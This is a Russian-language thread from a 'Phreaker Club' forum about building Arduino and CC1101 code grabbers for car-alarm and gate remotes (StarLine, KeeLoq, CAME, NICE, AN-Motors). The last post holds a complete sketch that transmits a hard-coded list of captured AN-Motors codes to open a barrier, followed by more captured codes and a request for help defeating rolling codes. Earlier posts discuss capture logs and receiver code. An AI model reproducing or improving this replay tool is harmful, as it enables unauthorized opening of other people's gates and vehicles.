Форум
 

Вернуться   Форум "Фрикер Клуб" - кодграббер своими руками > Основной раздел > Статьи

Важная информация

Ответ
 
Опции темы Опции просмотра
Старый 29.03.2018, 12:28   #401
dreamwait Меню Пользователя
Вступил в клуб
 
Регистрация: 11.11.2015
Сообщений: 79
По умолчанию Re: Исходники под ардуину

Был у меня шилд, но сдох приемник - а те что были работали просто ужос. Вспомнил, что заказывал себе сс1101 - переделал на нем (по примеру выше). Пример работал странно - принимал типа старлайн, на кеелог вообще не реагировал. сделал чуть другой вариант -
Среда - Ардуино. Код сборный - конфиг от Пауля74, прием - от анмоторса (так как его брелки есть).
Состав - Ардуино нано, преобразователь уровней 3-5, дисплей 1.44 spi, преобразователь питания 5в-3.3в, SD кард модуль.
Прием работает, кеелог и анмоторс принимает (только байты "задом наперед" - если кому для алгоритма).
Не проверял только выброс - так что не уверен, что он работает - сс1101 несколько дней только мучаю, есть сомнения что правильно написал. Примеры видел только через буфер сс1101 - я делал по старинке, по битам. Не взлетит - перепишу.
Вложения
Тип файла: zip GrabCC1101.zip (4.1 Кб, 45 просмотров)

Последний раз редактировалось dreamwait; 29.03.2018 в 12:36.
dreamwait вне форума   Ответить с цитированием
Старый 03.04.2018, 09:44   #402
dreamwait Меню Пользователя
Вступил в клуб
 
Регистрация: 11.11.2015
Сообщений: 79
По умолчанию Re: Исходники под ардуину

В предыдущем примере выброс не работает - неверно настроено переключение режимов прием-передача. Пока разбираюсь - не все так просто с сс1101.

И второе западло - модуль брал у китайцев - похоже фейковый. Залил тестовый скетч (от библиотеки сс1101.h) - модель, версия и серийный номер - все по нулям... Так что похоже придется покупать оригинальный чип и пересаживать.
dreamwait вне форума   Ответить с цитированием
Старый 03.04.2018, 11:23   #403
popcorn Меню Пользователя
Гость клуба
 
Регистрация: 16.03.2018
Сообщений: 8
По умолчанию Re: Исходники под ардуину

а зачем нужен оригинальный ? это вообще неясно . и что там сложно в переключении приём передача ? сложно правильные настройки сделать если плохо разбираешься .
popcorn вне форума   Ответить с цитированием
Старый 15.06.2018, 21:09   #404
Ruslan1958 Меню Пользователя
Член клуба
 
Регистрация: 23.04.2015
Сообщений: 136
По умолчанию Re: Исходники под ардуину

Вот к примеру лог моего ключа без связи с машиной. Я так понял что если бы он связался с машиной то на кнопках уже был бы другой код. А что если например автомобиль среагировал но сигнал от авто не дошел до ключа? Машина синхронизируется с ключом по старой посылке или уже нет?
Вложения
Тип файла: txt Лог моего startline.txt (2.4 Кб, 17 просмотров)
Ruslan1958 вне форума   Ответить с цитированием
Старый 09.07.2018, 16:59   #405
nknk Меню Пользователя
Гость клуба
 
Регистрация: 06.07.2018
Сообщений: 1
По умолчанию Re: Исходники под ардуину

Код из поста #133 от Paul74s:

...
if (!RX_AM) came.state=1;
....

компилятор ругается RM_AM was not declared..

И еще, в коде кейсы только про CAME12 и NICE12, как с 24бит работает?
nknk вне форума   Ответить с цитированием
Старый 09.07.2018, 17:26   #406
EPA Меню Пользователя
Супер Модератор
 
Аватар для EPA
 
Регистрация: 01.11.2016
Сообщений: 1,201
По умолчанию Re: Исходники под ардуину

Он ругается на RX_AM потому что ардуино не понимает код CVAVR.
Можно через дефайн, типа так
#define RX_AM digitalRead (pinRX )
EPA вне форума   Ответить с цитированием
Старый 18.07.2018, 15:56   #407
Paul74s Меню Пользователя
Резидент клуба
 
Аватар для Paul74s
 
Регистрация: 16.11.2012
Сообщений: 594
По умолчанию Re: Исходники под ардуину

ЕРА правильно подсказал - в начале моего файла стоит дефайн на ногу МК отвечающую за прием.
#define RX_AM PORTB.0

Эта проца ловит посылки указанных форматов длиной как 12 так и 24 бита, но она "хромая", так как ловит только каждую вторую посылку.
Paul74s вне форума   Ответить с цитированием
Старый 20.09.2018, 19:38   #408
Dmitry Kireev Меню Пользователя
Гость клуба
 
Регистрация: 20.09.2018
Сообщений: 1
По умолчанию Re: Исходники под ардуину

Код:
/// v3
#define rxPin 2 // сюда у нас подключен приемник
#define txPin A3 // а сюда передатчик
#define MAX_DELTA 200 // это максимальное отклонение от длительности Pe при приеме
#define Pe 413
#define Pe2 Pe*2

//создаем массив с кодами устройств
long MyCode[]{0x35D2B004,0x6CEF98C2,0x56650000,0xA9CA7E44,0x20240000,0x1424E24,0x51310000,0x3552060,0x19830000,0xF69B9EA7};
int arrayVal;//переменная для расчета количества циклов
 
void setup() {
    arrayVal=(sizeof(MyCode)/4)-1;//расчитываем длинну массива и сразу вычитаем 1, тк нумерация элементов массива начинается с нуля
  pinMode(rxPin, INPUT);
  pinMode(txPin, OUTPUT);
  Serial.begin(921600);
  //while (!Serial);
  Serial.println("AN MOTORS наклонятор запущен");
  randomSeed(analogRead(0));//генерируем случайное число
  // запускаем перехват пакетов
//  attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр - если у вас другая ардуина, он может быть не 1, а 0!
  interrupts();//разрешаем прерывание
}
 
void loop() {
for (int i=0;i<arrayVal;i+=2){//создаем цикл в котором будем перебирать коды массива
  //левая кнопка - 2 (в с1 4 символ и в с2 - последний)
  // в с1 последние 4 цифры надо сделать нулями - туда мы воткнем ранодмую составляющую
  long c1 = MyCode[i] + 0x101 * random(0xff); // AN-MOTORS хотят рандом - получит рандом, первое число кода
  long c2 = MyCode[i+1];//второе число кода
  SendANMotors(c1, c2);//вызываем функцию отправки пакетов и передаем в нее наши коды
  Serial.println("ОТПРАВЛЕНО:");
  Serial.print(c1, HEX);
  Serial.print(" ");
  Serial.println(c2, HEX);
  Serial.println();
        delay(200);//пауза между отправкой кодов
        }
  delay(5000);//ждем 5 секунд после отправки всех кодов
}
 
 
void SendANMotors(long c1, long c2)
{
  noInterrupts(); // временно отключаем перехват пакетов, чтобы не перехватывать собственные отправки
  for (int j = 0; j < 2; j++)
  {
    // отправляем 12 начальных импульсов 0-1
    for (int i = 0; i < 12; i++) {
      delayMicroseconds(Pe);
      digitalWrite(txPin, HIGH);
      delayMicroseconds(Pe);
      digitalWrite(txPin, LOW);
    }
    delayMicroseconds(Pe * 10);
    // отправляем первую половину
    for (int i = 4 * 8; i > 0; i--) {
      SendBit(bitRead(c1, i - 1));
    }
    // вторую половину
    for (int i = 4 * 8; i > 0; i--) {
      SendBit(bitRead(c2, i - 1));
    }
    // и еще пару ненужных бит, которые означают батарейку и флаг повтора
    SendBit(1);
    SendBit(1);
    delayMicroseconds(Pe * 39);
  }
  interrupts();
}
 
void SendBit(byte b) {
  if (b == 0) {
    digitalWrite(txPin, HIGH); // 0
    delayMicroseconds(Pe2);
    digitalWrite(txPin, LOW);
    delayMicroseconds(Pe);
  }
  else {
    digitalWrite(txPin, HIGH); // 1
    delayMicroseconds(Pe);
    digitalWrite(txPin, LOW);
    delayMicroseconds(Pe2);
  }
}
 
// все что ниже касается приема
 /*прием нам не нужен
volatile unsigned long prevtime;
volatile unsigned int lolen, hilen, state;
volatile static byte bcounter = 0;    // количество принятых битов
volatile static long code1 = 0;       // зашифрованная часть
volatile static long code2 = 0;       // фиксированная часть
boolean CheckValue(unsigned int base, unsigned int value)
{
  return ((value == base) || ((value > base) && ((value - base) < MAX_DELTA)) || ((value < base) && ((base - value) < MAX_DELTA)));
}
 
void grab() {
  state = digitalRead(rxPin);
  if (state == HIGH)
    lolen = micros() - prevtime;
  else
    hilen = micros() - prevtime;
  prevtime = micros();
 
  if (state == HIGH)
  {
    // последовательность закончилась
    if (CheckValue(Pe, hilen) && CheckValue(Pe2, lolen)) // valid 1
    {
      if (bcounter < 32)
        code1 = (code1 << 1) | 1;
      else if (bcounter < 64)
        code2 = (code2 << 1) | 1;
      bcounter++;
    }
    else if (CheckValue(Pe2, hilen) && CheckValue(Pe, lolen)) // valid 0
    {
      if (bcounter < 32)
        code1 = (code1 << 1) | 0;
      else if (bcounter < 64)
        code2 = (code2 << 1) | 0; bcounter++;
    }
    else
      bcounter = 0;
  }
  if (bcounter >= 65)
  {
    Serial.print("Перехвачено: ");
    Serial.print(code1, HEX);
    Serial.print(" ");
    Serial.println(code2, HEX);
 
    bcounter = 0;
    code1 = 0;
    code2 = 0;
  }
}*/
Скетч открывает AN_MOTORS но только со статикой, может есть умельцы которые смогут добавить в скет что б открывал динамические коды? Пульт AT-4N он шлет вот такие значения
AN MOTORS:281B4DD5 502EB6F4
AN MOTORS: 281B4DD5 502EB6F4
AN MOTORS: 281B4DD5 502EB6F4
AN MOTORS: 281B4DD5 502EB6F4
AN MOTORS: 281B4DD5 502EB6F4
AN MOTORS: 281B4DD5 502EB6F4
это приходило с одного пульта во время открытия, видимо долго держали кнопку на пульте
а это другие принятые коды с этого же шлагбаума
180550DB A2CED9C5

BDA4AF12 47FDE59F
A1443D98 4D7BE004
35D2B004 6CEF98C2

Последний раз редактировалось DIVER_SANT; 20.09.2018 в 20:04.
Dmitry Kireev вне форума   Ответить с цитированием
Ответ
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



Текущее время: 02:51. Часовой пояс GMT +3.


vBulletin 4.1.0 Перевод: zCarot
(C) www.phreakerclub.com
Яндекс.Метрика